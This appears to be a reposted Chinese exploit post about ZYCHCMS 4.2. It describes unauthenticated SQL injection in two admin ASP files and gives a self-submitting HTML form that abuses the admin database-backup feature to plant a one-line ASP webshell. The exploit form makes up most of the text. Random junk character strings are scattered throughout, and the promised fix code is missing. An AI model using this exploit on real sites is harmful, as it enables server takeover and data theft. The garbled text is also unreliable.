ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

8 M" i9 v+ W6 d$ j" C4 C, R! k

3 h. }# ?) X6 n7 A& @4 W# Z! ^影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
①SQL注射漏洞
' j, o$ ]5 ?, \' b) T" h4 R+ x. @ 漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
漏洞原因：未过滤
8 f* G: K2 e3 U/ w0 C 漏洞代码：
都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
修复方法：在文件开头加入代码
  b- u# e$ N: }% ^5 _

②后台拿WBSHELL
进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
这里在网上找了一个，改了下，将就着用。
6 `% J) ?9 J9 F* q 以下是代码本地提交代码


<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
9 G7 u- \. E1 C2 _3 r4 f <tr>
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
</tr>
8 B, T+ B6 k) `; t' N0 I <tr>
4 C! Z( z- W( m& p) t <td bgcolor=”#FFFFFF”><span class=”back_southidc”>
</span>
<table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
" X3 a. ], k. u2 p% K' T <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
<div align=”left”>
; C7 u5 t9 B: i- Z; f <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
& v- m* @% j& Z <!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
1 q5 @4 F$ Y  ]0 T, C) O <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
</div></td>
</tr>
) k  E8 _% v* k7 y3 `2 `1 u <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
. _0 c' X  u5 ~: y3 l <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
<td class=”td”><div align=”left”>
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
[如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
</tr>
% \# f( f! z+ z; i9 Y- ]) s <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
) g. k/ I9 y# e <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
<td class=”td”><div align=”left”>
<input type=”submit” value=”确定备份” class=”btn”
</div></td>
- `8 C5 P7 I# R; d+ R% R </tr>
3 a. ]# N8 s) l  A0 W </table></td></tr></form>
</table>
</td>
</tr>
& m5 k7 a6 e5 ?+ v </table>
<script>
document.all.add.submit();
4 F% W( k* p! x3 t6 a  P! Q5 _ </script>
, q% v- _0 a* E* T. q. H( D+ K2 i
* @( T% U1 T* O9 \) u* X) `
+ l5 U" d/ A* ]$ S

$ g( m' B% W1 a# {& U
4 S& _8 L8 W9 u" t# F) X
$ M5 E- @* O& z7 x2 B
8 t; D* l! \2 y


1 `2 I' x& l$ N2 n- ^$ e) z. P